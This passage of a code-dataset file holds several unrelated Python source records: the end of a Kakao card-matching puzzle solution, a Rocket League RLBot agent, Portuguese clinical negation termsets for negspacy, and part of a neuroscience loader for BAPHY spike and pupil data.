= 0\n    print(solution(board, r, c))\n\n    print(solution([[3,0,0,2],[0,0,1,0],[0,1,0,0],[2,0,0,3]],\t0\t,1))\n\n\n# Ctrl] 키를 누른 상태에서 방향키 ←, ↑, ↓, → 중 하나를 누르면, 누른 키 방향에 있는 가장 가까운 카드로 한번에 이동합니다.\n# 만약, 해당 방향에 카드가 하나도 없다면 그 방향의 가장 마지막 칸으로 이동합니다.\n# 만약, 누른 키 방향으로 이동 가능한 카드 또는 빈 공간이 없어 이동할 수 없다면 커서는 움직이지 않습니다.\n","sub_path":"kakao/카드짝맞추기.py","file_name":"카드짝맞추기.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"137973783","text":"import math\r\n\r\nfrom rlbot.agents.base_agent import BaseAgent, SimpleControllerState\r\nfrom rlbot.utils.structures.game_data_struct import GameTickPacket\r\n\r\nfrom util.orientation import Orientation\r\nfrom util.vec import Vec3\r\n\r\nfrom Actions import *\r\nfrom Debug import *\r\n\r\n#USAGE: ALWAYS PUT OUR BOT ON LEFT SIDE OF RLBOT GUI\r\n#TODO Create check for future ball position and whether it's close to either goal\r\n#TODO Create check for distance between ball and car if ball is near opponents goal, then find proper distance\r\n#TODO Create methods to calculate where to drive to hit ball at proper angle for defense and offense\r\n#TODO Create action for jumping and hitting the ball at proper angle\r\n#TODO Method to check if the game is in the kickoff state\r\n\r\n\r\nclass MyBot(BaseAgent):\r\n\r\n    def initialize_agent(self):\r\n        # This runs once before the bot starts up\r\n        self.controller_state = SimpleControllerState()\r\n        \r\n    def get_output(self, packet: GameTickPacket) -> SimpleControllerState:\r\n        ball_location = Vec3(packet.game_ball.physics.location)\r\n\r\n        my_car = packet.game_cars[self.index]\r\n        car_location = Vec3(my_car.physics.location)\r\n        car_to_ball = ball_location - car_location\r\n        car_to_ball_len = car_to_ball.length()\r\n\r\n        if car_to_ball_len > 1000:\r\n            ball_future_location = get_ball_predicted_pos(self, 30)\r\n            car_to_ball = ball_future_location - car_location\r\n\r\n        \r\n        info = self.get_field_info()\r\n        boost_location = Vec3(find_nearest_boost(info, car_location, packet))\r\n        car_to_boost = boost_location - car_location\r\n\r\n        # Determine which goal our bot is defending/attacking\r\n        ourGoalIndex = my_car.team\r\n        opponentGoalIndex = 0\r\n        if ourGoalIndex == 0:\r\n            opponentGoalIndex = 1\r\n        else:\r\n            opponentGoalIndex = 0\r\n    \r\n        # If Statments in order to implement behavior tree\r\n        #if kickoff --> drive at ball\r\n        \r\n        #GOAL 0 is defended by bots on right side of GUI (Bot's on left side score on goal 0)\r\n        opponentGoalDist = calculate_ball_to_goal(ball_location, info.goals[opponentGoalIndex])\r\n\r\n        #GOAL 1 is defended by bots on left side of GUI (Bot's on right side score on goal 1)\r\n        ourGoalDist = calculate_ball_to_goal(ball_location, info.goals[ourGoalIndex])\r\n\r\n        # Check if it is the kickoff\r\n        if is_kickoff(packet):\r\n            action_display = \"kick off\"\r\n            drive_for_kickoff(self, my_car, car_to_ball)\r\n\r\n        # Check if ball is near our goal\r\n        elif ourGoalDist < 4000:\r\n            #Drive to defensive position\r\n            action_display = defend_goal(self, my_car, info.goals[ourGoalIndex], packet.game_ball)\r\n\r\n\r\n        # Check if ball is near opponent's goal\r\n        elif opponentGoalDist < 4000:\r\n            action_display = \"offensive\"\r\n            ball_future_location = get_ball_predicted_pos(self, 40)\r\n            car_to_ball = ball_future_location - car_location\r\n            #Drive to offensive position\r\n            drive_toward_ball(self, my_car, car_to_ball)\r\n            \r\n\r\n        # Check if boost level is low\r\n        elif get_car_boost_level(my_car) < 35:\r\n            action_display = \"getting boost\"  \r\n            drive_toward_boost(self, my_car, car_to_boost)\r\n\r\n        # Default    \r\n        else:\r\n            action_display = \"just drivin\"\r\n            #TODO Figure out how to properly time boosts\r\n            #Current boost activation is in defend_goal\r\n            self.controller_state.boost = False\r\n            drive_toward_ball(self, my_car, car_to_ball)\r\n    \r\n        draw_debug_message(self.renderer, my_car, action_display)\r\n        if(action_display == \"blocking shot\"):\r\n            draw_block_debug(self.renderer, my_car, info.goals[ourGoalIndex],  packet.game_ball)\r\n        return self.controller_state\r\n\r\ndef is_kickoff(packet) -> bool:\r\n    return packet.game_info.is_kickoff_pause\r\n\r\ndef find_nearest_boost(info, car_location, packet) -> Vec3:\r\n    closest_pad_index = 0\r\n    closest_pad_distance = 100000\r\n    for i in range(info.num_boosts):  # For loop to get location of all pads\r\n        pad = info.boost_pads[i]\r\n        # To get Vect3 coordinate of pad\r\n        padLoc = pad.location\r\n        new_value = car_location.dist(padLoc)\r\n        if new_value < closest_pad_distance:\r\n            if packet.game_boosts[i].is_active:\r\n                closest_pad_distance = new_value\r\n                closest_pad_index = i\r\n\r\n    return info.boost_pads[closest_pad_index].location\r\n\r\n\r\n    \r\n    \r\n\r\n","sub_path":"CarstianoRevnaldbot-master/src/CarstianoRevnaldbot.py","file_name":"CarstianoRevnaldbot.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"394301929","text":"\"\"\"\nDefault termsets for various languages\n\"\"\"\n\n\n\n# portuguese termset dictionary\npt = dict()\npseudo = [\n'não mais',\n'não é capaz de ser',\n'não está certo se',\n'não necessariamente',\n'sem mais',\n'sem dificuldade',\n'talvez não',\n'não só',\n'sem aumento',\n'sem alterações significativas',\n'sem alterações',\n'sem alterações definitivas',\n'não alargar',\n'não causa',\n'não está certo se'\n]\npt[\"pseudo_negations\"] = pseudo\n\npreceding = [\n    \"inexistência de\",\n    \"ausência de\",\n    'declinado',\n    'negado',\n    'nega',\n    'negação',\n    'nenhum sinal de',\n    'sem sinais de',\n    'não',\n    'não demonstrar',\n    'sintomas atípicos',\n    'dúvida',\n    'negativo para',\n    'sem',\n    'não faz isso.',\n    'não',\n    'não faças isso',\n    'não estava',\n    'não estavam',\n    'não é',\n    'não estão',\n    'não pode',\n    'não posso.',\n    'não pode',\n    'não podia',\n    'não foi possível',\n    'nunca'\n]\npt[\"preceding_negations\"] = preceding\n\nfollowing = [\n    'declinado',\n    'improvável',\n    'não foi',\n    'não foram',\n    'não estava',\n    'não estavam'\n]\npt[\"following_negations\"] = following\n\ntermination = [\n    'embora',\n    'com excepção de',\n    'tal como existem',\n    'para além de',\n    'mas',\n    'excepto',\n    'entretanto',\n    'que envolvem',\n    'apesar disso',\n    'ainda',\n    'apesar de',\n    'ainda'\n]\npt[\"termination\"] = termination\n\n\n# pt_clinical builds upon en\npt_clinical = dict()\npseudo_clinical = pseudo + [\n    'negativo',\n    'não descartar',\n    'não excluído',\n    'não foram excluídos',\n    'não drenar',\n    'sem alterações suspeitas',\n    'sem alteração do intervalo',\n    'sem alteração significativa do intervalo',\n]\npt_clinical[\"pseudo_negations\"] = pseudo_clinical\n\npreceding_clinical = preceding + [\n    'o paciente não foi',\n    'sem indicação de',\n    'sem sinal de',\n    'sem sinais de',\n    'sem quaisquer reacções ou sinais de',\n    'sem queixas de',\n    'não há provas de',\n    'nenhuma causa de',\n    'avaliar para',\n    'não consegue revelar',\n    'isentos de',\n    'nunca desenvolvidos',\n    'nunca tive',\n    'não expôs',\n    'exclui',\n    'descartar',\n    'descarta-o',\n    'descarte-a',\n    'descartar o paciente',\n    'descartar o paciente',\n    'excluídos',\n    'rejeitou-o rejeitou-a',\n    'doentes excluídos do tratamento',\n    'rejeitou o paciente',\n]\npt_clinical[\"preceding_negations\"] = preceding_clinical\n\nfollowing_clinical = following + [\"foi descartado\", \"foram descartados\", \"livre\"]\npt_clinical[\"following_negations\"] = following_clinical\n\ntermination_clinical = termination + [\n    'causa de',\n'causa de',\n'causas de',\n'causas de',\n'etiologia para',\n'etiologia da',\n'origem para',\n'Origem da',\n'originárias para',\n'originárias de',\n'outras possibilidades de',\n'razão para',\n'razão de',\n'Razões de',\n'razões de',\n'secundária a',\n'fonte para',\n'fontes para',\n'fontes de',\n'evento de desencadeamento para',\n]\npt_clinical[\"termination\"] = termination_clinical\n\n\n\npt_clinical_sensitive = dict()\n\npreceding_clinical_sensitive = preceding_clinical + [\n    'preocupação com',\n    'suposto',\n    'que causam',\n    'leva a',\n    'h/o',\n    'histórico de',\n    'em vez de',\n    'se sentir',\n    'se tiver',\n    'ensino do paciente',\n    'ensinou ao paciente',\n    'ensinar ao paciente',\n    'educado o paciente',\n    'educar o paciente',\n    'monitorizado para',\n    'monitorar para',\n    'ensaio de',\n    'ensaios para',\n]\npt_clinical_sensitive[\"pseudo_negations\"] = pseudo_clinical\npt_clinical_sensitive[\"preceding_negations\"] = preceding_clinical_sensitive\npt_clinical_sensitive[\"following_negations\"] = following_clinical\npt_clinical_sensitive[\"termination\"] = termination_clinical\n\nLANGUAGES = dict()\nLANGUAGES[\"pt\"] = pt\nLANGUAGES[\"pt_clinical\"] = pt_clinical\nLANGUAGES[\"pt_clinical_sensitive\"] = pt_clinical_sensitive\n","sub_path":"negspacy/termsets_pt.py","file_name":"termsets_pt.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"646707792","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 14 09:33:47 2017\n\n@author: svd, changes added by njs\n\"\"\"\n\nimport logging\nlog = logging.getLogger(__name__)\n\nimport re\nimport os\nimport os.path\nimport scipy.io\nimport scipy.ndimage.filters\nimport scipy.signal\nimport numpy as np\nimport sys\nimport io\n\nimport pandas as pd\nimport nems.utilities as nu\nimport matplotlib.pyplot as plt\n\ntry:\n    import nems.db as db\nexcept Exception as e:\n    log.info(e)\n    log.info('Running without db')\n    db = None\n\ntry:\n    import nems_config.Storage_Config as sc\nexcept Exception as e:\n    log.info(e)\n    from nems_config.defaults import STORAGE_DEFAULTS\n    sc = STORAGE_DEFAULTS\n\n# paths to baphy data -- standard locations on elephant\nstim_cache_dir='/auto/data/tmp/tstim/'  # location of cached stimuli\nspk_subdir='sorted/'   # location of spk.mat files relative to parmfiles\n\n\n\"\"\" TODO : DELETE OR PRUNE EVERYTHING DOWN TO THE NATIVE BAPHY FUNCTIONS AT END \"\"\"\n\ndef load_baphy_file(filepath, level=0):\n    \"\"\"\n    This function loads data from a BAPHY .mat file located at 'filepath'.\n    It returns two dictionaries contining the file data and metadata,\n    'data' and 'meta', respectively. 'data' contains:\n        {'stim':stimulus,'resp':response raster,'pupil':pupil diameters}\n    Note that if there is no pupil data in the BAPHY file, 'pup' will return\n    None. 'meta' contains:\n        {'stimf':stimulus frequency,'respf':response frequency,'iso':isolation,\n             'tags':stimulus tags,'tagidx':tag idx, 'ff':frequency channel bins,\n             'prestim':prestim silence,'duration':stimulus duration,'poststim':\n             poststim silence}\n    \"\"\"\n    data = dict.fromkeys(['stim', 'resp', 'pupil'])\n    matdata = scipy.io.loadmat(filepath, chars_as_strings=True)\n    s = matdata['data'][0][level]\n    print(s['fn_spike'])\n    try:\n        data = {}\n        data['resp'] = s['resp_raster']\n        data['stim'] = s['stim']\n        data['respFs'] = s['respfs'][0][0]\n        data['stimFs'] = s['stimfs'][0][0]\n        data['stimparam'] = [str(''.join(letter)) for letter in s['fn_param']]\n        data['isolation'] = s['isolation']\n        data['prestim'] = s['tags'][0]['PreStimSilence'][0][0][0]\n        data['poststim'] = s['tags'][0]['PostStimSilence'][0][0][0]\n        data['duration'] = s['tags'][0]['Duration'][0][0][0]\n        \n        data['cellids']=s['cellids'][0]\n        data['resp_fn']=s['fn_spike']\n    except BaseException:\n        data['raw_stim'] = s['stim'].copy()\n        data['raw_resp'] = s['resp'].copy()\n    try:\n        data['pupil'] = s['pupil']\n    except BaseException:\n        data['pupil'] = None\n    try:\n        if s['estfile']:\n            data['est'] = True\n        else:\n            data['est'] = False\n    except ValueError:\n        log.info(\"Est/val conditions not flagged in datafile\")\n    return(data)\n\n\ndef get_celldb_file(batch, cellid, fs=200, stimfmt='ozgf',\n                    chancount=18, pertrial=False):\n    \"\"\"\n    Given a stim/resp preprocessing parameters, figure out relevant cache filename.\n    TODO: if cache file doesn't exist, have Matlab generate it\n\n    @author: svd\n    \"\"\"\n\n    rootpath = os.path.join(sc.DIRECTORY_ROOT, \"nems_in_cache\")\n    if pertrial or batch in [269, 273, 284, 285]:\n        ptstring = \"_pertrial\"\n    else:\n        ptstring = \"\"\n\n    if stimfmt in ['none', 'parm', 'envelope']:\n        fn = \"{0}/batch{1}/{2}_b{1}{6}_{3}_fs{5}.mat\".format(\n            rootpath, batch, cellid, stimfmt, chancount, fs, ptstring)\n    else:\n        fn = \"{0}/batch{1}/{2}_b{1}{6}_{3}_c{4}_fs{5}.mat\".format(\n            rootpath, batch, cellid, stimfmt, chancount, fs, ptstring)\n\n    # placeholder. Need to check if file exists in nems_in_cache.\n    # If not, call baphy function in Matlab to regenerate it:\n    # fn=export_cellfile(batchid,cellid,fs,stimfmt,chancount)\n\n    return fn\n\n\ndef load_baphy_ssa(filepath):\n    \"\"\"\n    Load SSAs from matlab, cherrypiking the most convenient values\n    of the mat file and parsing them into a dictionary. The mat file contains\n    a struct wich can be a vector (multiple related recording of the same cell)\n    therefore each poin in this vector is parced into a dictionary within a list.\n    \"\"\"\n    matdata = scipy.io.loadmat(filepath, chars_as_strings=True)\n    d = matdata['data']\n    datalist = list()\n    for i in range(d.size):\n        m = d[0][i]\n        data = dict.fromkeys(['stim', 'resp', 'tags'])\n        try:\n            params = m['stimparam'][0][0]\n            data['PipDuration'] = round(params['Ref_PipDuration'][0][0], 4)\n            data['PipInterval'] = round(params['Ref_PipInterval'][0][0], 4)\n            Freq = params['Ref_Frequencies'].squeeze()\n            data['Frequencies'] = Freq.tolist()\n            Rates = params['Ref_F1Rates'].squeeze()\n            data['Rates'] = Rates.tolist()\n            data['Jitter'] = params['Ref_Jitter'][0][:]\n            data['MinInterval'] = round(params['Ref_MinInterval'][0][0], 4)\n        except BaseException:\n            pass\n\n        data['stimfmt'] = m['stimfmt'][0]\n\n        if m['stimfmt'][0] == 'envelope':\n            resp = np.swapaxes(m['resp_raster'], 0, 2)\n            stim = np.squeeze(m['stim'])  # stim envelope seems to not be binay\n            stim = stim / stim.max()\n            stim = np.where(stim < 0.5, 0, 1)  # trasnforms stim to binary\n            stim = np.swapaxes(stim, 1, 2)\n            stim = stim[:, :, 0:resp.shape[2]]\n\n            data['stim'] = stim\n\n        elif m['stimfmt'][0] == 'none':\n            data['stim'] = []\n            resp = np.swapaxes(m['resp_raster'], 0, 1)\n\n        data['resp'] = resp\n\n        data['stimf'] = m['stimfs'][0][0]\n        respf = m['respfs'][0][0]\n        data['respf'] = respf\n        data['isolation'] = round(m['isolation'][0][0], 4)\n        try:\n            data['tags'] = np.concatenate(m['tags'][0]['tags'][0][0], axis=0)\n        except BaseException:\n            pass\n        try:\n            data['tagidx'] = m['tags'][0]['tagidx'][0][0]\n            data['ff'] = m['tags'][0]['ff'][0][0]\n        except BaseException:\n            pass\n        prestim = m['tags'][0]['PreStimSilence'][0][0][0]\n        data['prestim'] = prestim\n        duration = m['tags'][0]['Duration'][0][0][0]\n        data['duration'] = duration\n        poststim = resp.shape[2] - (int(prestim) + int(duration)) * int(respf)\n        data['poststim'] = poststim / respf\n\n        try:\n            data['pup'] = m['pupil']\n        except BaseException:\n            data['pup'] = None\n        datalist.append(data)\n\n    return (datalist)\n\ndef load_spike_raster(spkfile, options, nargout=None):\n    '''\n    # CRH added 1-5-2018, work in progress - meant to mirror the output of \n    baphy's loadspikeraster\n    \n    inputs:\n        spkfile - name of .spk.mat file generated using meska\n\n        options - structure can contain the following fields:\n            channel - electrode channel (default 1)\n            unit - unit number (default 1)\n            rasterfs in Hz (default 1000)\n            includeprestim - raster includes silent period before stimulus onset\n            tag_masks - cell array of strings to filter tags, eg,\n                {'torc','reference'} or {'target'}.  AND logic.  default ={}\n            psthonly - shape of r (default -1, see below)\n            sorter - preferentially load spikes sorted by sorter.  if not\n                sorted by sorter, just take primary sorting\n            lfpclean - [0] if 1, remove MSE prediction of spikes (single\n                trial) predicted by LFP\n            includeincorrect - if 1, load all trials, not just correct (default 0)\n            runclass - if set, load only data for runclass when multiple runclasses\n                in file\n                \n        nargout: number of arguments to return \n        \n     outputs:\n        r: spike raster\n        tags:\n        trialset: \n        exptevents: \n        sortextras: Not possible right now - not cached\n        options: Not possibel right now - not cached\n        \n    '''\n    \n    \n    \n    \n    # ========== see if cache file exists =====================\n    need_matlab=0 # if set to 1, use matlab engine to generate the cache file\n    \n    # get path to spkfile\n    if(len(spkfile.split('/'))==1):\n        path_to_spkfile = os.getcwd()   \n    else: \n        path_to_spkfile = os.path.dirname(spkfile)\n    \n    \n    # define the cache file name using fucntion written below    \n    cache_fn= spike_cache_filename(spkfile,options)\n    \n    # make cache directory if it doesn't already exist\n    path_to_cacheFile = os.path.join(path_to_spkfile,'cache')\n    cache_file = os.path.join(path_to_cacheFile,cache_fn)\n    print('loading from cache:')\n    print(cache_file)\n    if(os.path.isdir(path_to_cacheFile) and os.path.exists(cache_file)):\n        out = scipy.io.loadmat(cache_file)\n        r = out['r']\n        tags = out['tags']\n        trialset=out['trialset']\n        exptevents=out['exptevents']\n        \n    elif(os.path.isdir(path_to_cacheFile)):\n        need_matlab=1        \n    else:\n        need_matlab = 1\n        os.mkdir(path_to_cacheFile)\n    \n\n    # Generate the cache file so that it can be loaded by python\n    if need_matlab:\n        # only start the matlab engine if the cached file doesn't exist\n        import matlab.engine\n        eng = matlab.engine.start_matlab()\n        baphy_util_path = '/auto/users/hellerc/baphy/Utilities'\n        eng.addpath(baphy_util_path,nargout=0)\n        # call matlab function to make the requested array\n        eng.loadspikeraster(spkfile, options, nargout=0)    #TODO figure out a way to specify nargout without returning anything\n        \n        out = scipy.io.loadmat(cache_file)\n        r = out['r']\n        tags = out['tags']\n        trialset=out['trialset']\n        exptevents=out['exptevents']\n           \n    if nargout==None or nargout==1:\n        return r\n    elif nargout==2:\n        return r, tags\n    elif nargout==3:\n        return r, tags, trialset\n    else:\n        return r, tags, trialset, exptevents\n    \ndef load_pupil_raster(pupfile, options):\n    '''\n    # CRH added 1-12-2018, work in progress - meant to mirror the output of \n    baphy's loadevpraster for pupil=1\n    \n    inputs:\n        spkfile - name of .spk.mat file generated using meska\n\n        options - structure can contain the following fields:\n            pupil: must be = 1 or will not load pupil\n            rasterfs in Hz (default 1000)\n            includeprestim - raster includes silent period before stimulus onset\n            tag_masks - cell array of strings to filter tags, eg,\n                {'torc','reference'} or {'target'}.  AND logic.  default ={}\n            psthonly - shape of r (default -1, see below)\n            sorter - preferentially load spikes sorted by sorter.  if not\n                sorted by sorter, just take primary sorting\n            lfpclean - [0] if 1, remove MSE prediction of spikes (single\n                trial) predicted by LFP\n            includeincorrect - if 1, load all trials, not just correct (default 0)\n            runclass - if set, load only data for runclass when multiple runclasses\n                in file\n                \n            pupil_offset   see baphy documentation on loadevpraster\n            pupil_median\n        \n     outputs:\n        p: pupil raster in same shape as spike raster for same params        \n    '''\n    \n    # ========== see if cache file exists =====================\n    need_matlab=0 # if set to 1, use matlab engine to generate the cache file\n    \n    # get path to spkfile\n    if(len(pupfile.split('/'))==1):\n        path_to_pupfile = os.getcwd()   \n    else: \n        path_to_pupfile = os.path.dirname(pupfile)\n      \n    \n    # define the cache file name using fucntion written below    \n    cache_fn= pupil_cache_filename(pupfile,options)\n    \n    # make cache directory if it doesn't already exist\n    path_to_cacheFile = path_to_pupfile+'/tmp/'\n    cache_file = os.path.join(path_to_cacheFile,cache_fn)\n    print('loading from cache:')\n    print(cache_file)\n    if(os.path.isdir(path_to_cacheFile) and os.path.exists(cache_file)):\n        out = scipy.io.loadmat(cache_file)\n        p = out['r']           # it's called r in loadevpraster (where it's generated)       \n    else:\n        need_matlab = 1\n        \n    \n\n    # Generate the cache file so that it can be loaded by python\n    if need_matlab:\n        # only start the matlab engine if the cached file doesn't exist\n        import matlab.engine\n        eng = matlab.engine.start_matlab()\n        baphy_util_path = '/auto/users/hellerc/baphy/Utilities'\n        eng.addpath(baphy_util_path,nargout=0)\n        # call matlab function to make the requested array\n        eng.loadevpraster(pupfile, options, nargout=0)    # Don't want to pass stuff back. evpraster will cache the file\n        out = scipy.io.loadmat(cache_file)\n        p = out['r']\n\n    return p\n    \n\ndef spike_cache_filename(spkfile,options):\n    '''\n    Given the spkfile and options passed to load_spike_raster, generate the filename that \n    will identify the unique cache file for that cell    \n    '''\n    \n    # parse the input in options\n    try: channel=options['channel']\n    except: channel=1\n    \n    try: unit=options['unit']\n    except: unit=1\n    \n    try: rasterfs=options['rasterfs']\n    except: rasterfs=1000.   # must be float for matlab if matlab engine is called\n    \n    try: tag_masks=options['tag_masks']; tag_name='tags-'+''.join(tag_masks);\n    except: tag_masks=[]; tag_name='tags-Reference';\n    \n    try: runclass=options['runclass']; run='run-'+runclass;\n    except: run='run-all';\n    \n    if 'includeprestim' in options and type(options['includeprestim'])==int: \n        prestim='prestim-1'; \n    elif 'includeprestim' in options: \n        prestim=str(options['includeprestim'])\n        while ', ' in prestim:\n            prestim=prestim.replace('[','').replace(']','').replace(', ','-')\n        prestim='prestim-'+prestim;\n    else: prestim='prestim-none';\n    \n    try: ic=options['includeincorrect']; ic='allTrials';\n    except: ic='correctTrials';\n    \n    try: psthonly=options['psthonly']; psthonly=options['psthonly'];\n    except: psthonly=-1;\n    \n    if len(str(channel))==1:\n        ch_str='0'+str(channel)\n    else:\n        ch_str=str(channel)\n    \n    # define the cache file name\n    spkfile_root_name=os.path.basename(spkfile).split('.')[0];\n    cache_fn=spkfile_root_name+'_ch'+ch_str+'-'+str(unit)+'_fs'+str(int(rasterfs))+'_'+tag_name+'_'+run+'_'+prestim+'_'+ic+'_psth'+str(psthonly)+'.mat'\n    \n    return cache_fn\n    \ndef pupil_cache_filename(pupfile, options):\n    # parse the input in options\n    try: pupil=options['pupil']; pupil_str='_pup';\n    except: sys.exit('options does not set pupil=1')   \n    \n    if 'pupil_offset' in options:\n        offset = options['pupil_offset']\n        if offset==0.75: #matlab default in evpraster \n            offset_str='';\n        else:\n            offset_str='_offset-'+str(offset)\n    else:\n        offset_str=''\n      \n    if 'pupil_median' in options:\n        med = options['pupil_median']\n        if med==0: #matlab default in evpraster \n            med_str='';\n        else:\n            med_str='_med-'+str(med)\n    else:\n       med_str=''\n    \n    try: rasterfs=options['rasterfs']\n    except: rasterfs=1000.   # must be float for matlab if matlab engine is called\n    \n    try: tag_masks=options['tag_masks']; tag_name='tags-'+''.join(tag_masks);\n    except: tag_masks=[]; tag_name='tags-Reference';\n    \n    try: runclass=options['runclass']; run='run-'+runclass;\n    except: run='run-all';\n    \n    if 'includeprestim' in options and type(options['includeprestim'])==int: \n        prestim='prestim-1'; \n    elif 'includeprestim' in options: \n        prestim=str(options['includeprestim'])\n        while ', ' in prestim:\n            prestim=prestim.replace('[','').replace(']','').replace(', ','-')\n        prestim='prestim-'+prestim;\n    else: prestim='prestim-none';\n    \n    try: ic=options['includeincorrect']; ic='allTrials';\n    except: ic='correctTrials';\n    \n    try: psthonly=options['psthonly']; psthonly=options['psthonly'];\n    except: psthonly=-1;\n    \n   \n    \n    # define the cache file name\n    pupfile_root_name=os.path.basename(pupfile).split('.')[0];\n    \n    \n    cache_fn=pupfile_root_name+'_fs'+str(int(rasterfs))+'_'+tag_name+'_'+run+'_'+prestim+'_'+ic+'_psth'+str(psthonly)+offset_str+med_str+pupil_str+'.mat'\n    \n    return cache_fn\n\n\ndef spike_cache_filename2(spkfilestub,options):\n    '''\n    Given the stub for spike cache file and options typically passed to \n    load_spike_raster, generate the unique filename for for that cell/format\n    '''\n    \n    # parse the input in options    \n    try: \n        rasterfs='_fs'+str(options['rasterfs'])\n    except: \n        rasterfs='_fs1000'\n    \n    try:\n        tag_name='_tags-'+''.join(options['tag_masks'])\n    except: \n        tag_name='_tags-default'\n    \n    try: \n        run='_run-'+options['runclass'];\n    except: \n        run='_run-all';\n    \n    if 'includeprestim' in options and type(options['includeprestim'])==int: \n        prestim='_prestim-1'; \n    elif 'includeprestim' in options: \n        prestim=str(options['includeprestim'])\n        while ', ' in prestim:\n            prestim=prestim.replace('[','').replace(']','').replace(', ','-')\n        prestim='_prestim-'+prestim\n    else: \n        prestim='_prestim-none'\n    \n    try: \n        if options['includeincorrect']:\n            ic='_allTrials'\n        else:\n            ic='_correctTrials'\n    except:\n        ic='_correctTrials';\n    \n    try: \n        psthonly='_psth'+str(options['psthonly'])\n    except: \n        psthonly='_psth-1'\n    \n    # define the cache file name\n    cache_fn=spkfilestub+rasterfs+tag_name+run+prestim+ic+psthonly+'.mat'\n    \n    return cache_fn\n\ndef pupil_cache_filename2(pupfilestub,options):\n    '''\n    Given the stub for spike cache file and options typically passed to \n    load_spike_raster, generate the unique filename for for that cell/format\n    '''\n    \n    # parse the input in options\n    try: pupil=options['pupil']; pupil_str='_pup';\n    except: sys.exit('options does not set pupil=1')\n    \n    if 'pupil_offset' in options:\n        offset = options['pupil_offset']\n        if offset==0.75: #matlab default in evpraster \n            offset_str='';\n        else:\n            offset_str='_offset-'+str(offset)\n    else:\n        offset_str=''\n      \n    if 'pupil_median' in options:\n        med = options['pupil_median']\n        if med==0: #matlab default in evpraster \n            med_str='';\n        else:\n            med_str='_med-'+str(med)\n    else:\n       med_str=''\n    \n    try: \n        rasterfs='_fs'+str(options['rasterfs'])\n    except: \n        rasterfs='_fs1000'\n    \n    try: \n        tag_name='_tags-'+''.join(options['tag_masks'])\n    except: \n        tag_name='_tags-default'\n    \n    try: \n        run='_run-'+options['runclass'];\n    except: \n        run='_run-all';\n    \n    if 'includeprestim' in options and type(options['includeprestim'])==int: \n        prestim='_prestim-1'; \n    elif 'includeprestim' in options: \n        prestim=str(options['includeprestim'])\n        while ', ' in prestim:\n            prestim=prestim.replace('[','').replace(']','').replace(', ','-')\n        prestim='_prestim-'+prestim\n    else: \n        prestim='_prestim-none'\n    \n    try: \n        if options['includeincorrect']:\n            ic='_allTrials'\n        else:\n            ic='_correctTrials'\n    except: \n        ic='_correctTrials';\n    \n    try: \n        psthonly='_psth'+str(options['psthonly'])\n    except: \n        psthonly='_psth-1'\n \n    filt_str='';\n    try:\n        if options['pupil_highpass']>0:\n            filt_str=\"{0}_hp{1:.2f}\".format(filt_str,options['pupil_highpass'])\n    except:\n        pass\n    try:\n        if options['pupil_lowpass']>0:\n           filt_str=\"{0}_lp{1:.2f}\".format(filt_str,options['pupil_lowpass'])\n    except:\n        pass\n    try:\n        if options['pupil_derivative']!='':\n           filt_str=\"{0}_D{1}\".format(filt_str,options['pupil_derivative'])\n    except:\n        pass\n\n    # define the cache file name\n    #for i, pf in enumerate(pupfilestub):\n    #    l = pf.split('.')[0].split('/')\n    #   pupfilestub.iloc[i] = '/'.join(l[:-1])+'/tmp/'+l[-1]\n    \n    cache_fn=pupfilestub+rasterfs+tag_name+run+prestim+ic+psthonly+offset_str+med_str+filt_str+pupil_str+'.mat'\n    \n    return cache_fn\n\n\ndef stim_cache_filename(stimfile, options={}):\n    \"\"\"\n    mimic cache file naming scheme from loadstimfrombaphy.m\n    mfile syntax:\n    % function [stim,stimparam]=loadstimfrombaphy(parmfile,startbin,stopbin, \n    %                   filtfmt,fsout[=1000],chancount[=30],forceregen[=0],includeprestim[=0],SoundHandle[='ReferenceHandle'],repcount[=1]);\n\n    SVD 2018-01-15\n    \"\"\"\n    \n    try:\n        filtfmt=options['filtfmt']\n    except: \n        filtfmt='parm'\n    \n    try:\n        fs='-fs'+str(options['fsout'])\n    except: \n        fs='-fs100'\n            \n    try:\n        ch='-ch'+str(options['chancount'])\n    except: \n        ch='-ch0'\n    \n    try:\n        if options['includeprestim']:\n            incps='-incps1'\n        else:\n            incps=''\n    except: \n        incps='-incps1'\n     \n    #ppdir=['/auto/data/tmp/tstim/'];\n    cache_fn=stimfile + '-' + filtfmt + fs + ch + incps + '.mat'\n    \n    return cache_fn\n    \ndef load_site_raster(batch, site, options, runclass=None, rawid=None):\n    '''\n    Load a population raster given batch id, runclass, recording site, and options\n    \n    Input:\n    -------------------------------------------------------------------------\n    batch ex: batch=301\n    runclass ex: runclass='PTD'\n    recording site ex: site='TAR010c'\n    \n    options: dict\n        min_isolation (float), default - load all cells above 70% isolation\n        rasterfs (float), default: 100\n        includeprestim (boolean), default: 1\n        tag_masks (list of strings), default [], ex: ['Reference']\n        active_passive (string), default: 'both' ex: 'p' or 'a'\n        \n        **** other options to be implemented ****\n        \n    Output:\n    -------------------------------------------------------------------------\n    r (numpy array), response matrix (bin x reps x stim x cells)\n    meta (pandas data frame), df with all information from data base about the cells you've loaded (sorted in same order as last dim of r)\n           \n    '''\n\n    # Parse inputs\n    try: iso=options['min_isolation'];\n    except: iso=70;\n       \n    try: options['rasterfs'];\n    except: options['rasterfs']=100;\n    \n    try: options['includeprestim'];\n    except: options['includeprestim']=1;\n    \n    try: options['tag_masks'];\n    except: pass\n    \n    try: active_passive = options['active_passive'];\n    except: active_passive='both';\n    \n    # Define parms dict to be passed to loading function\n    parms=options;\n    if 'min_isolation' in parms:\n        del parms['min_isolation']   # not need to find cache file\n    if 'active_passive' in parms:\n        del parms['active_passive']\n        \n    cfd=db.get_batch_cells(batch=batch,cellid=site,rawid=rawid)\n    \n    \n    cfd=cfd.sort_values('cellid') # sort the data frame by cellid so it agrees with the r matrix output\n    cfd=cfd[cfd['min_isolation']>iso]\n    cellids=np.sort(np.unique(cfd[cfd['min_isolation']>iso]['cellid'])) # only need list of unique id's\n     \n    # load data for all identified respfiles corresponding to cellids\n    \n    cellcount=len(cellids)\n    \n    a_p=[] # classify as active or passive based on respfile name\n    \n    for i, cid 